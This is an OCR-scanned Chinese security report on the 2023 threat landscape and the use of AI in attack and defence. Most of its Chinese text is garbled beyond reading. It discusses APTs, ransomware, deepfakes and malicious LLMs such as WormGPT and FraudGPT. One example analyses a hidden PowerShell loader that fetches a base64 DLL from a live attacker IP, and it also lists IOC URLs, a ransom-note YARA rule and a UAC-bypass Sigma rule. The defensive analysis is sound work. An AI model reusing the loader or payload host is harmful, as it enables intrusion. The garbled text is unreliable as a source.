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177 Beds, FRR LTINS Tor Bt ER ¥R Wb . Kl #F AT T 2 MEEA,  DLUEBIARA T ey 17
IR G, W55 RE B R SO BOREE A N R o RERE B PR,
BAERRKIUR N AT T 2 . T 2022 S8 IRBOR I, 2875 1 R 46 2 £ i 7 S
PERM A2 E .

é@ﬁn

< Back. YANFENG

// IMAGES

B SEBR SN R T M 2k

SJE: https://www. anquanke. com/post/id/291533

T 2024 ML 22 4@ ST

(—) APT Wi R FRIGER, MLV EMKIHRR ERBE T K

2023 AR APT HLUSEINE W —4, B ELN ML %4 w7 2kt F05,
Hrp i aREADE N E R B, o R B BGEFAR o ralAL, HEBUR KA R APT H LUK
B s E 2R3N J. BRIz A, DA R a8 B AR B G S AR S i b, b Do B
Mo, 2023 4 9 A4y i 65 M52 5 B CoinEx # 5 S, EMrmliagnss APT 2041 Lazarus fTy,
WREHEIE L T2 %EI0. MERRZEM, BEE Go. Rust Fmfeii = 1IN, APT HLH7EF A
XL F I RRT A, DA R I IR . BRandE 2023 4 12 A #FE 1 Patchwork ZH 25X A [ 1
Wb, kst 7 Rust i 595 % SR E B s .

2024 5, HPRRERBAT S, 2 A E G APT AR FFaLimek, LSt 24y
AR IR TR ML T B RN R TOVERUE I3, HEEE AR IO PR oR S 5, K
SRR ZHAPT BT 8% . M2 N E R Z e EE I, B BURFLIA R IR FF e B2
Mo Br T INSREAZE 2P 2 5b, BN EIT 2 BRI, IR R R
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() MIRALFHBFHEMEB R

BRALUE 2023 EHIEEREEA EL 2022 484 7 BORIETE, AR 2023 4Rt L 1 LA B2 MK )
HF. e R B AR P E TR ARAT R E AT S 2023 SR 1 LockBit IR AN
i & Medusa IXAFHIE MBI RALMITIGTHER, 7E 2023 SR E A (EDJR AR A5 H A w4
SR TR . R RALIALER G E K, 1 HAR 2 # LM Z2 i AF oy 28k, 9 7 ¥R
IR LR, RN R AL N B BT 4R35 A APT Bl dg i, BB R SORA Tk, @I
dr BAT EAE R H r.

2024 4F, R HALERTBUN BOR B B IR BT Re B 2, Rk, Bud 7 A0R H AT I
FAFAT 2 AR, VAT H 28 R 24 IR B et . 1X P 7 v 75 B pl ot R s i, a0 (5T 2%
Ty ie] (ZINA) ZEA . 4BRLEE7r®). IVERRRES . =g i HUE 2 RPi . RO EARF =7 22 4R
2 (CASB) i 77 26

(=) NITEBERARNERKSI KELZEHE

I RBEE N TEREBOR R RAZ D S, IR S] . RIE SRR, SRR R R ROR A
Wik e, (EA N TR BN AL L84 T B KBR, LA Deepfake. ChatGPT. DALL « E AAQR MM
AR T Ham RS N TR BEERAE MBS R A AR, O RGRST R4 T2
BUFIHRTBL 51K — R I B 2% 22 42 v i, il

o HOKMUERH “Hm” WEfE. B ChatGPT AR HARTE 5 AR, W LI f R E N KB 5
ANFH 3R] STA5E, AR Ry 5 (10 TR T D I 2% SR R 3 A ol P 7 BE D9 it i M LR B LB, AR B 2 TR
ZHUN TSGR B Z RO, AT RO KR T, B “AT X4t AT”
R R AR M L X 2% LT 3 5

o AHEAMEMZEANE. BIMGR. VIS £ 8oE A8 H AR PRI 2 ARG 3
ZUEWIRAAE, (BAE “BREIE” BoRZME, HRBLREESEE. HAT, £S5,
AW ERTE AL “BRRT H N RE R, UG T SR B2
M . T JUERI . a5l BOROFIEW 2L 48 AR S B0 490 1 37 2 B A5 7F Bl =51t o 45 L
Bl BIARERT . “URPEEDNIE” BORITRBIRE RO ARK L 2 224 AR H B — N3

®  HRAAMMA K. Pl “ChatCPT” NMRRMAE SN AT BEas AR I ) P B g 5 A, 18

AIPR RO T, AT CAFE BB A AR AR TR B A, AR PR B
FRAS, e O [ ) 4% 22 4 A W HEAT X

(0D By & FHaa BRI A BT i & 23R

2023 4F H I T ) R e P A L o 2 2 K B e I R TR T B R S A K R I 3 s 2 R
4, EeanjwilE CVE-2023-38831, iR fE 8 HEF M AA 1 ¢ T IwiF M Wl @z, FEmer -~ A it 47
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BAPSEH, (HARAE 10 A 224) R APT 4121 Saaiwe {87 F 1 U 17 0o 7B v DA B 2 R 78 NIE F SRR
Hbrdb AT Wit e o] WA R ARMVIE AN N, HB RIS 22256 R GuAh T 88 HIAH R G2 i e, % T 3252
W) 0 PR L 55— IS TR BT, DA/ BRI advids iR 2 o R 28R 1) nday JiR T 2ok, X1
ke B RUORAARSR, AT R B i Bl R, AR RAR L ) B i 2 o# = Rrae g

(FD) FRFAS N BA R4l P ARF IR 52 9 B2 T B B K= Bl

2023 £, U KREHREREA T RBERT, EERIGE Hir2 b N EA 5L, FE
A ER I 7 R B . SAh, FIA SEO (45 07 B ol A RAUR WL e s, ST F 3
R R IR B B 2 . DA BRI % e R0, BESRIsAT BEAF N I A B A
B 2 BN 38 VAT RRE Y AN B SO

(7N MNP ZEmER “HNERE” BAITmE L

2023 FFRA T ZEA N WAL “BNEERRE” FF, Bl i H AR LT B R
EEMENE AT RN AR BRI 2 R0, REF R R IR s, A
PR I SIS A 3 B AT S

IBING ERsE
2023 EHEARNBRLBE

2023 HNEIREEN

2023£% 48 © WallPaper EngineBHEiGss ;

20235 6H ¢ REMNASEITEN (BRDERRF3) HFRTEEFCEET ADLRERFNAS ;
2023598 ¢ HMETHIEFree Download ManagerfiLinuxhii A HREMEEANG HKAIFZA ;
2023598 ¢ 7EInmp.orgE/T ML THNLNMP—RLEOFBNTRME ;

2023%12H BRI IE AR 7 -ZipATERIES | RZHITLumma StealerEBHEAL ;

2023£128 ZRBfIRIE (Slay the Spire ) Hl&&Mod ( Downfall , FXXRZEHE ) MMEEIKEREIEY
HTiE , WEE S RESERNMod EENESH L{EZ=Steam,
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Tl N LGNS 22N XS MLIE

2022 R, R GPT3 TS i, KiEFHMGB MR TERNEE, EERLN
FORFIERIE . )7 RE HERLRE S, AL AL AN TEREC AR T “Giit=” sl AR
“RARE” MG ARBRHEFR AR “CARRA MM GPT MK PERIR” - 2023 4, EPNAME}
BESKG O BN KB SRR F, FRRESEAEHAT . AR DORIE S HEA LM
LR HEN T R A R B, B 2 P ECE RE D I8 AN T RE AR AT LA .

AR, KIESEEA SR T N TERERS S AT ZNAKIR . XA E A, ik
FATE B B LA N LR BB BATT A AL 2 AT ML Af7 R B2

— AT e R & 1 &

H BTN TR REBOR PRI A AN A AR, Blh e 2 NIAk 2 i R IR 22 4 AR SRATTHIE
NRME R RER, —HEEE MBS E, WEEHIEER, ARG SR HE
B RJEMHRS, RIUEATRN” , RO A5 B +RR=RE o BBl HASERIUE B W
FSEE S ORI PR BRI, Sl 2RO ™ B 2 . N “AFE05E” M “H
TR ] BRI IR T N T REAT R A 2 il

1. (5B AEHREBMZEHE

FAVFIE, NEEEE (IS Wrigss) RVGRBATES, ASJLFFraiissh, ARk
TIEA2FR R AEE. —PARMEREE, EES S NERA RBE R,

L1 RENES HENE

WEIEHCAR (Deepfake) ZFRMHI ANTE e, M) PEMKETERMGE R P, &0
LAEE N B ) — TR T B IR DG FOR R N TR REBAR K R R I AT A BRI —F, HAZon
JE BRI F AR RO T 25 B BRI S R SRR . B S E AR T IR, VR
AL MBI A RERES, BRE AL H I AU, A KRR “IROy 7 LS AE 1T 2 1R L,
HFB— N BB . N ATFE A DL H2 AR B LR R 1 & b S0 3 BLE 5l 35Dy o
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K. 2022 ORGS0 2R G IR KR « FEERTHE (VolodymyrZelensky) W58 ~% 4 0%
JECR B AT

DogeDesigner
< @ch doge

Elon Musk's deep fake video promoting a new
cryptocurrency scam going viral.

The video claims that the trading platform is owned by
Elon Musk, and offers 30% returns on crypto deposits.
@elonmusk

'éj: BitVex

2:47 AM - May 25, 2022 - Twitter for iPhone

521 Retwests 258 Quote Twests 3,849 Likes

Q 7 Q v
Q, Tweet your reply
Elon Musk & @elonmusk - May 25
Replying to @cb doge
) Yikes. Def not me.
(@3- 11 824 D 13sk s

E: 2022 NG ST BitVex LA MVEDR T & I H B4
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1. 2 R EDhiE N\ Brva id

Kif B M ALK IERE S, HEMRENEZHEARNESGQIED BN At &2
REME AR AN B, FRATERARE B8 XU E) . EairaiE, bRk a1k
Hom o AT SR AR O I8 1) 22 AR N U (7R B By i NATTARAS “IRILNSE” &

T George &> Graphika BlIEM N THEBEM A, BRKE A2EFENEILEE,
WHEKARKK, T4 B ORI BRSO .

T i FRJ o6 2B 25 g R P T A

2. FIRAKRUHT R BN & £ 5]

Kif G A UM R — DN RIRE S, MEIR2Z NCLIF Mt BRI 5 AR SR K AR,
I B ) S A (R KV F AR RO AR R, IR RE o R DAENT, AR
R, BATR B KT SRR AR, U, RORANSERIRIRE R, A2
& SO ELE BRAR KRR B b 2 1A 5 A

AL EANICAE 2018 Et P “ UISEAR R I A NZERL . HHERX A EITRF” o B
KiGFHEMHEIL, RRNKKEFI . N AW A ISR T e s, B i,
XA BN E S A RTE SR, A 2 R e M 2K 2 4 1 ZEARAIE

KL, HPRIE AR AT, BUS T R R, RN CEREN TR GRS & B
ITINE) hPRETEH, XAERAT AR H E TR FFaRE O T BEBOR A E AR
FIFE 5 Lo
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— EMSREFUR A RIS

VRN — WS e W, A ORTEN TR RE R SR AR RN S 2 1 I T AN i S (4 R, B
FESG02N N TLB BEBOARRT W 2% 22 4 L5 R 05 2 oK AR #

1. NTHE 8B IR K&

T REP AL B L “ A5 AR L B 238G BOARIREL " B St AR, N T REAE )
g7 AR, 3 AR AT I 2% B S AR AR A A R, BRI AR RN S
FEH: FraudGPT. WormGPT. DeepExploit. iX&&-P& i THAMAITHIME. TREIFK. BB,
7R A 33 e D 48 T AT 55 1 SR RIORABEAL, PR B AR R o 2

1. 1 BhBh B W E G B AR

N T G ATARBR AR 7€ (K TR Se o Moy H AR TS S A . PABaiis, R¥s TR A R EEA
FER, DU BURRE AN NG, BEE R TSNS, OB T i R AR W1
RIS . BTOUE AR — IR BN B IR RE, (£ MITREATTCCK FEFF Al & [ THI#E, B8 71!
LR SRR EE TGS WERZERE G M ER . BWERZFEMAED . M aiRmE S .
R AEESE . BRI Rk SN A . R EEMR S EARTR. T
AR E B Ah,  MUSCER 28 VA g B B 1 TGty H AR A R i, R DRI iR . T
KA 5 AR AT DA Bh By & A B S SR B SR A6 (5 5, AR SR A5 B A B SEARRTAR S5
FA T DRI HERE, B A ) B iR B s o X — DI T RIE S AR K B ARE S . AR
MR ). BRI AR AR AE

1. 2 RO IR 4L T o

RIS RVN R Vb s NG o A ST =i e 14 S S =i a0 e G S i /S VG e 0F ' o P | G B
AR B, ek “ERAWMEE B o ERERIEECR, Rl BUE T
B, RN OR RS, R RE R A IR Sk, R RE SRR, 4
LT AT PSR — VA AR A £ s B AGE, AR KIS TRV B 21 . DL 2019 S5 2 AL
Sk E Je H AN A VE G K 61, AdAT D2 it AhAialb N 52 5 H FR Al 1900 55 N SR EAT KIS T 740 3
ZEFMENRAL R, VEIR BT AR M . A A KOs S A B R A, AR A
[ 52 35 AT I 8] 1 AL RV I8, TR 238 3R 1 IO VEGR RCRR KR GE T, — AT BA R B Ve G 2
A~ H bR AR RE SN AT RE -
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1. 3WEB H:E AL 1l 55 A

N T BIEHET WEB Heily, RAERS RS B Z kR, HATZ BN T R SCT . B
T RIR ) A BE A 0 R AL o X LEIGUENLHN GRS FRARIRE B T, B AR
AT R BEEKE SRS BB , XSRAEHLHR SRR Ess A . &R, F0.
RS BRI AR TH RN SE . Wi B A5 T, KR 1R 25 40 A th RERORE SRR R AN AR, 48 0IE
B e BL AR AR R AN T 38 o

L4FmEM “%BR” BaAG

ARFIE T, R 5 R R DURR e 5 1R Gt 5 AR L R AR o AT A K 5 B R > AT TR S
FF (RPFEAGEIE R HERRF5) , BB IER AT H N . HATIBE TR, B K0 5 AR
PRI SR E AT, #A AT RELE RIS 5 A 20 s L], ST E AR AR f . R, U
R F AT RGN H T Bl ) “ B GPT” , AT A FE. i, 9’5 B & Seh 1w
FE RS 5 2 ON R RE -

FEAIY AR M E T 5, KiE SRR A 74T SR Bl 75 B 5 s JR 46 % A
T AT AR IR, AR — P SRS 2 (] — BUBCIC I 18], A B ORGSR, W] DU AL A Bl 2 i
SN, AN AR A A TS, TR % A AR CLR R “RHE” R E] R I H.

1. 5 B3MLEENR

DeepExploit & —FhdE T a7 2] ) H BB IEESE, B H AR —2%K 4 5 MBSD AR KR, 7E
H BMIBE J5 [ KA, P RN VG FEIR 2 s K2 B it T A, . DEFCON2018,
BlackHat2018 %5, XELJHYFt— P T iZ THIFIAE . DeepExploit IKJZfHH Metasploit #47T
BIE, (FHBRNE IR AR B IERCR, TLLRE] “45w Hir 1P, fr R shell” MR, B
T OC“RURYERR” ThRESh, HAD RO A, CEAU NS SABE. REBIE. 3%
>1. ZESIRER. B K S TR ISCEE RE

2. NI&6eBh /1M 2% B

2. 1 /FHKrMsE S

9 2 22 4 7 AR PR AZ o AR AE T 0 28 SR Bt TR . N TR e AT LAAR B st 36 Bh B A8 75 72 LR LA

1 58 1R 01 RE

o CEEACHSIRA: FIAIAE GHLES S ST ROGE SRR N TR REROR, XGRS AR 3T
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TR A BhEGE NE, USSR Em LT HBER, BRI
WinPE/SWF/MSIL/VBA/PDF & 2N 25 T B AR, [R5 LUK TR 5 8L 3 3 2 & B A
R4, Bl PHP/JSP/ASPX/JavaScript, #KHUIXEEARM A RER, BB BRI
FBL A H B R A S R .

® RVEAIRA: LLRBIF MRy I EEN AR N TR NN EZ R, EEANTHE
REML I H] T Ve (REEDRIE) , NTLERE VS N LA RKIN T B AL . “REHhE”
A BRI A S g — MO IR TG, BEE KR SRR TR, OpenAT B 5 thifE 7 AT &
JA R VR B SRR AT 55 B A SR 1 P9 2 S S AP [

® NRATNIRA: FEALLEM HIDS/NIDS BOR AL -, AN TRBERAR, JLHRKIE SR,
XFHEFPA, EHERESE IR PSRRI RHEAT SR G 08T, HEBE IR A BLIBAE 1 N LA 2% A AR
1790 IR HURER ORI i 0 45 22 A 0 Wil 2 N 3 IO ARG, 3R DA 5 R IR RN AR R fE

2.2 |IIBERYK

o AT N REZHCCANENNRN (Fad4r. WIiER. JS. Powershell, PHP) #HATIREE
I3 Mt . 7EFG A2 EDR HH, AT DABERS P N T8 GEBIT, XF EDR HH (U 3EFEXT 4 . WMT X 42 | Powershell
X GHAT T, BT b g R LLEA 1E B R ok, IR AR

AIENF

e EROLTAEERREE N SENE, TR TEIER P, IR
EEKTARINHT:

1. A powershell.exeffifT, XE—EAHIWINC 2T H, HREAFERTE
ull:=SisEi 2

2. "-windowstyle hidden"Z AEEEET, AP [EHvVTITRE.

3. "-ExecutionPolicy Bypss™iz5eiIPower Shel I T5RES, EFI0SATRESINE, BIA
T,

4. "$RodaCopy = ‘C:A\Users\ADMINI~T\AppData\Loca\Temp\MRREM.vbs' " Gl
— R, HEEIEA— M AMAIVBScriptiid.

5. “*http://91.213.50.74/GRIIN/RX/nuevadiltxt” XEBSEIAM ABRSETFRT 4
Base6A4RESIIDLLI {4, FHEEZ,

6. “[system.AppDomain]::CurrentDomain.Load($DLL).GetType( ‘NwgoxM.KPJaNj ).Ge
tMcthod( ‘PUIGKA" ).Invoke($null, [object[]]..." 3RS BIAINERTTHVT 7 #if FEAIDL
L3,

shEEY:
1. VENFSESSANARSE, IR0 EE,

2. IEERRIE STEEMRSSE (91.213.50.74) WATER(S.

3. MBRERIRENE, Q1" C:\Users\ADMINI~T\AppData\Loca\Temp\MRREM.vbs",

4. EHRRSYIHINEEN RS, LIRSS ARSI AR
5. ISR AR 309, JTERETREATEL
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AIEIFE 52

8. BT IBEARSHGARIEH. SORETERVTHRES, LIRSEEEETA.

XEFRA powershell.exe, idjgprocess:e73f8e65e333e079ca9e75c814247abclJproc o

essHHft

e HRHGSTABNTE—NEENA, DRE T VT—INEEH VBScript XX, TEa—L
EBRRSITR:
1. powershell.exe #EFIHVTIEENHS.
2. ®4TFH $ivgm ZREE—Base64RIBNIFHTR, XE—MEIIVEESHARET
3 RMNHASIEM http://91.213.50.74/GREEN/RX/nuevadll. txt FE—ISEF, XU
RLEJEHEE T EREAR.
4. THAONSHINERSATNBEFE, HEDER %, XN TEEREN—
FsE.
5 85, BMHASRERENEORMT S, XIHORN siugn TREDHER
R EREERN.
B ESE:
1. BELEXANSTHIT.
2. BELERS EARURLASAIE,
3. M TR AR,
4. JIERETRE, MREHTIES T RE RS S HTEIER iR TS T ANR.
5. EAAEETRR, LI RHEX NS, LB RHPREE,

BN

o fEIRCRA: KIEF R REW AR B ha N B IRE S h SR T0C, JEAS Mt Bdnfr . 455k
€ LRRE, TTLAEZHE 10C A FIBIEE Rt .
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SR PR ERIIOC (URLEISHRIERSY) |, IAYMLUERUAH:

1. AEFFEABGRROORERT 4, BRIEEEER GRS, aUEAESA Office ITANS;

2. BEHTRSHNTHIEERGRNT;

3. FRFEERHBEITTRREADIL;

4. FRBENIASREGNERS, RIAD APT ISR D ), HASREMMENERES, EETENSER
RELRENZSN. M ARESEE, FAHNRSESRIITSRIER RS,

J\. BF

1. 10Cs

MD5:

d2522e45c0b0d83dddd3fec51862d48c

444438f4ce76156cec1788392f887dab

3cd725172384297732222ef9c8f74adc

c0f15436912d8a63dbh7150d95e6adee

c986635c40764f10bcebe280b05efe8c

URL:

hxxps://msftupdate.srv-cdn.com/cdne/plds/zoxrdyr5KV.hta
hxxps://msftupdate.srv-cdn.com/fin.hta
hxxp://www.google.com.d-dns.co/includes/686a0ea5/-1/1223/da897db0/final.hta
hxxp://www.nadra.gov.pk.d-dns.co/includes/686a0ea5/-1/1224/fa1b01fb/final.hta

~ gpt4 @Mention B Image & chat  ctrl+& with codebase

USED Rerun without context
No context

Response

AN, BIFERICETHIOC (5iF of compromise, EEHMERFAAE) , FHLAYMUSHAH, XEH
YIOCEIFEMDSFIURL, LAT-ERAHEER

IOCs:
MD5:

- d2522e45c0b8d83dddd3fcc51862d48¢

- 444438f4ce76156¢cecl788392887da6

- 3¢d725172384297732222ef9c8f74adc

- ¢©f15436912d8a63dbb71506d95e6a4ee

- €986635c40764f10bcebe280bB5efeBc

- msftupdate.srv-cdn.com/cdne/plds/zoxr4yr5KV.hta

- msftupdate.srv-cdn.com/fin.hta

- www.google.com.d-dns.co/includes/686a@ea5/-1/1223/dag897dbe/final.hta

- www.nadra.gov.pk.d-dns.co/includes/686a@ea5/-1/1224/falb01fb/final.hta

o EMA: MIEFUNBIKALRE. Wi BTN, B AL EA, SE KK
BE ARG, A EA I A .
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EEFAPYTHONSRE— MINELinuxSSHECEHBEIA

USED Rerun without context

No context

Response

LA FE—1E%APythonfilAs, EaLATEEMRINELInux SSHECE, BXHIARE:

i

. ZHroot AP HISSHE S,
2. B EnnERR, R ERSSHERE R,
3. EMSSHImA— B nfERO (B0, SISm0 8082222) |

EEE, X MNHAREE coiR MET,

import os

def secure_ssh_config():
# ZHroot FIFMISSHE R

os.system("sed -i 's/PermitRootlLogin yes/PermitRootLogin no/g' /etc/ssh/sshd_cor

# ZETIREF, RAlTEEssHERER

os.system("sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/g' /et

# BEissHim[1 2222
os.system("sed -i 's/Port 22/Port 2222/g' /etc/ssh/sshd_config")

# BEESSHIRS
os.system("service ssh restart")

if _ name__ == "_ _main__":
secure_ssh_config()

R, X BEABRTINSSHECESHT T /etc/ssh/sshd_config , FEIREE%EE 1 openssh-server . 40
BFEE NI AR S, S {RERNERRERISSHIRS RS, (Rt e sux A BA L UER R R,

® RAIHIN: KBS AT DAL TR SR a5 3 U N 2% 22 A AUk A I BR U], 54 SNORT. YARA.

STGMA, JHALHFSE HUIIZR, I fE 155 LA RIS AU o 3045 KR A8 By R 2% 2 4 TR i R e g
S B D 10X 2% 22 4 J bl o
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JTFERNAEFTE— 1 YARARIN  (SUsE L NEERY A EH TN HERREE b)) -
Hello

Your file has been encrypted and cannot be used
When you see this letter, your privacy data has been backed up by us. If you do not handle it, we will publish your privacy data after the 7th.

Don't try to change or restore the file yourself, which will destroy them
If necessary, you can decrypt a test file for free. Free test decryption is only available for files less than 3MB in size.

To restore files, you need a decryption tool. Please contact us by email.
Please add the file name of this document to the email and send it to me.
[FILE RECOVERY_ID xx00xx]
| will tell you the amount you need to pay. After the payment is completed. , we will make the decryption tool and send it to you.

Customer service mailbox:

locked@onionmail.org

Spare mailbox: (use this mailbox after no reply in 24 hours)
liveteam@onionmail.org

USED Rerun without context

No context

rule RansomwareNote {

meta:
description = "YARA rule to detect specific ransomware note"
author = "CursorBot"
date = "2823-04-07"
strings:
$strl "Your file has been encrypted and cannot be used" wide ascii
$str2 = "your privacy data has been backed up by us" wide ascii
$str3 = "Don't try to change or restore the file yourself" wide ascii
$strd = “can decrypt a test file for free" wide ascii
$str5 = "To restore files, you need a decryption tool" wide ascii
$str6 * [FILE RECOVERY_ID" wide ascii
$str7 "we will make the decryption tool and send it to you" wide ascii
condition:

any of them
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HE—sigmaflill, FMETEEVACSES

USED Rerun without context

No context

Response

SigmafillE— AT HEHIEREEER, TAIHFIERESHAEEET BEHERIRUEIN., B Es (VAC) SidEdEsa
HY TR AR UAC RA—FRoA,

LAR2 M Egasigmafliisfl, ATHEUsEIVACSET =i, XA B M ser =il sad UACRH T, 2RI
e

title: Possible UAC Bypass Detected
id: 6a8ab9b2-502a-4a91-8e7f-0f0f5e8f4f4b
status: experimental
description: Detects attempts to bypass User Account Control (UAC) by manipulating registry keys known tc
author: CursorBot
references:
- https://attack.mitre.org/techniques/T1548/082/
logsource:
category: process_creation
product: windows

detection:
selection:
Image:
- "#\cmd.exe'
- "*\powershell.exe'
CommandLine:

- '"*reg add*'
"*HKCU\Software\Classes\ms-settings\shell\open\command*"

- '"*HKCU\Software\Classes\mscfile\shell\open\command*"'
- "*fodhelper.exe*'
- '*computerdefaults.exe*'
- '*sdclt.exe*’

condition: selection

falsepositives:
- Legitimate registrv modifications bv svstem administrators

o i E AR IR 2RI 2], KI5 HAHE B SOC/STEM 58 it % 4 S (R 22
Mot bz Eh N T2 510 0%. i EDR o, WA KE SRR 2 5%
A REEM ISR, PR E R

=
merem vbs

Y
wscript exe = | powershellexe powershell exe

=" |

paf ol 1704801132.7. Trshoaxe
- e

i S o

P AT

1. FFTR T PO, AUSHRRT TSR rshexelfififs, XOTRERPDFIFREEAKIE
RECEIEENN, BEIAPOFGEILIIS JavaScriptHitad, alaHERIR R TEmIS .

2. TrsfeexeififRiEd e 70 A irexellifife, RES—TAIRHNITH, FERIESBPDFRL
AR AR exe 3T,

3 XA HEIEEAYAR 1rexes |FH T — T vbsHIAX ¢ mmem vbs, Bl 7— 5 Aawscriptexeflt
PHESETE A, wscript i, FFHRT & P

4. wscript exef# B (Il ¥ —7 powershell exef%iH#E. Powershell@—{SA RN SIA TR

R
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E:.\ lé‘%

BEE N T BB N, BRATT A4 2 SOR IR — AN BUPE R A 77 TG (H TR B 2 R
BAL 2, QT RENS B 2 AT R AN N N A REA AR R IE D) 75 B 1R (1A B AR AN M ) AL
MANTER RN TERENNEREE. BIRER, 2R “WREWNE” SRR aE i E
HFBG

Hhk, BEE N LRGSR SN L2 WP G, Mg 2GURIEELm . R, X T
Wi EM S, EANLERRBORKE DT B . B ERizZE, Batfe. B REILrM LR
il R MBS IE . X TP KU, WA T REROR S UG H AT L e Pl, REER %%
A, RN I 2 2 ) I T A 7T BB e KT AR RS 3t — 2D HE S W 44 2 A T B R AR A
HERESRSC IR BIMR BN W 2% 22 BT B 4 & L, il EIRAE M 2% 2 W 2R 1 L3 [
b, HESI N TR REBORAE M4 22 B 7 5 b AW E [ SE PR N, RTINS Bt RE 71, X T M4 %
AR REAWE A AR A HORE

ff: 2023 SEENE RN ZEBEREN

L +REITRGRESTE R &R R

2023 £ 1 H 13 H, TobAME M, ERABMBER . A IS 16 MITKEGEHR (R
FAEREHE 2 AR B SR , SR E] 2025 45, FREHEE <4 R 1500 127G,
FREEGWERFH 30%, &5 ME MM LU EEE 7 e E S s, SO MR Z e AR
A= ity Bl 2 AR B I MER G LW AR, GEL) fe M ERE D Tk, BfE . 20,
Sty DA FRPBEESUREE 2 A TR, MBI N S, 20 K E Bl 2 e BoR T
RS e bt RV € Y US LRSS N s RV IVALE P

P2
https://www. miit. gov. cn/jgsj/waj/wifb/art/2023/art e92c30£708884a3db7a77e135682¢ea8b. ht

ml

2. FEKM (ERRLEEVBE )

2023 4F 2 21 H, “ERRLE: B eeWsrhET R BT RIEEILTRT. Bis
W), s IERURAT (RFRZ BRI SCIR) SO ERE 1 ek g 2R LS S RN, B
W7 E RS VETT R LA ML, £ bRk & 51 A R AR . [F PR BNy, (EERE
AR VOSSO JEBL T A 7 i FRF I SRR 2 . XS ARk A EE sl N R4
e xR gt 7 RGN B E AT 2
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FHIBERE: http://www. gov. cn/xinwen/2023-02/21/content 5742481. htm

3. ExX BEEBKME RN AZEAM (MAE R LIRS FIMED

2023 2 H 24 H, EFXEEMERPAZAM (PANEEHBERMESRIMNE) o (M%) M
E T NGE B RAES R GG . ITSL A& SR 0K, I 1 ARHES FEAS, Jvlaiishse
P NAE B3R T BARTRS], T 2023 4E 6 H 1 HEMEAT. (INE) R, BRI ARMES FKT7
AT NGB HEE S0, N B4 N5 & RE M. R SPEREMRa &, f*
(L NS EUSNiEhe 7 oc N E N EE b/ eI

MHCHERE: http://www. cac. gov. cn/2023-02/24/c 1678884831596384. htm

4. h3krp R, EHSEREIR (B B BAm R

2023 4F 2 H 2T H, A3k, ll?%&nEﬂZii7 CHrr B B A R . GRRID 5Rif,
B RF UL PP A B Ry k& 8 SCBARRR ) ST i i 5 T 0 45 5 I ) 2 22 JE AU 9R 2,
RN G560 — +k*ﬁ,¥%ﬁ¢iﬁiﬁégﬁ e, HERR. SR B REEE, R
HEHREKR, EOENERERE, SERBEMZSE, BURGEWEFRAE R, B amnsE,
TSRl IRAE R sRALAE T IRAEHABE A B A, TR T MU T E S W B AR . &R
Gtk hREE, et T it MR st iR ER &, BT s A AR i AR B AR, D
[ B S AR RIR A KR IEA KB 7T

F=BERE: http://www. gov. cn/xinwen/2023-02/27/content 5743484. htm

5. iElR KA CGEFHHMENE R REETEIME)

2023 4E 3 H 4 H, iEMSRA GEHRPTOL MGG B2 ) , DS 2012 4 k45
1 GEFIAAS B2 RS NG , BiFgEP BRI 2 e TRERIE T (UMNE) FH\
wLtR&, WHEFRPRMERNE R L aRBEEHAR, MEMEELEEIT. REMAGEE
9. MGRE B2 aN S B (s BRRBE 2 &R y . MEMEE et S RESEL
HAEH TER.  (IE) H 202345 H 1 Hilgis1r.

FHREERE: http://www. csre. gov. cn/csrce/c100028/c7202729/content. shtml

6. TS EREN R (R TssF 2023 £{5 BiBfE v 2 &4 TI/ERERM)

2023 £ 3 7 15 H, TANE BALES KAl (% T-dy 2023 4845 Bl Sl 2 A7 TAR i n )
HED) R, ENIEHKIEAEL, BT (BEMSEAT IR EE R ANE) IR R A Al Ay
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1= R o 7 o SV = P i o= R R e 7R L e ¥ sV = B2 L O B = AR M LA g 5 17 ot e
SR H ARV E ARV S A TR TUE, @SR R R A TR, RSt A b 2 4
AP AL AIAE B o A A A D) SN 98 X 2% el I AE AT 2 4 P IR 2 AT

NP Sz
https://www. miit. gov. cn/zwgk/zcwj/wjfb/tz/art/2023/art 81fac20d4d644£778a54010b24cd874
1. html

7. AMITERE A (KT HBNERZETHTREEEETXF

BRHI 25 )

2023 4F 4 17T H, EFELBERERA S TAAME B, A%E. WEBE. B FIAGEA
A B AR R A (ST IR 2 ATl P M 2 B A RETA S ) (BUFFERR (A
YD o AnE) Box, H20239 7 H 1 HE, FIN (WL & A 2225 = f B 1
WA 26 22 46 I P2 B 3 IR (5 B SRR NS 22 45 P2 i 2 S BOR R ) S5 ¢ B SbR v 1 o
HIPEZR, i B & B VA 2 VA AR S Z AR & ZR G, 7l e i ft.

MCHERE: http://www. cac. gov. cn/2023-04/17/c_1683373663312410. htm

8. [ B RIEMBIT B S8 = B - 5% B AL 5% B WX 48 Lt J& T 1A i
T
202346 4 3 26 H, TIUG 4 AKH BRI S WA R BT R, B0
RIFTUEIEF 2023 4.7 A 1 FRHGAT . BHET IR WA 5 0 URAT 02 X, 5 Bl Al
SUIREA” BEXPIRSLG . 80 0 oot T Rl 2 S et 24T B A 1
159, BT IR I 2 2 1003 Rl A % Aok, ¥ B R A MR BT IR B4 2
BT TR S . 2014 66, A WEREE R % Ak b et LIS IT

FH=8ERE: http://www. gov. cn/yaowen/2023-04/27/content 5753385. htm

9. FHRMEIPE=ERITEN KR A IPv6 B FRZ AN A 2023
FLIEZHE

202344 A 271 H, ERMGEH. EERBESES. TG BTBAE R (RN 1Pv6
A E AN 2023 SR TAEZ2HEY  (BLRRIAR CTAEZHE) O o (LAEZHE) BIRs T 2023 £ TAF
Hir: 3] 2023 4K, IPv6 WEERH P EUER] 7. 514, WECW 1Pv6 EHEEUA R 314, [H5E ML 1Pv6
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T EIA R 15%, BN TPve i b Uik B 55%. 4. I FH HEA Bt 2R 4 Ak 0 AR 55 1 B4
BT 1Pva, =P EMNE RN TPv6 JR55E o o Bl RF 2 e

MCHERE: http://www. cac. gov. cn/2023-04/27/c_1684239012351367. htm

10. BB AN A BKERESE EEMTEZERAITER
TrED
2023 %5 H 6 H, BsHEB A (A B KE CEEE BIERE Wil 2 R & B 0E) , B3 2023
F6 H 1 Hitghatr, VISoifbEn kK et s B 224, P MNgLs. (FHIMNE) B
B A BK S SRS B IERE WA B . B8 FH TUE XSS REAIE. ETUE. . EEN
2 FE WA O B AR . S IR A E N . RIS S H AR T IR 5 B X
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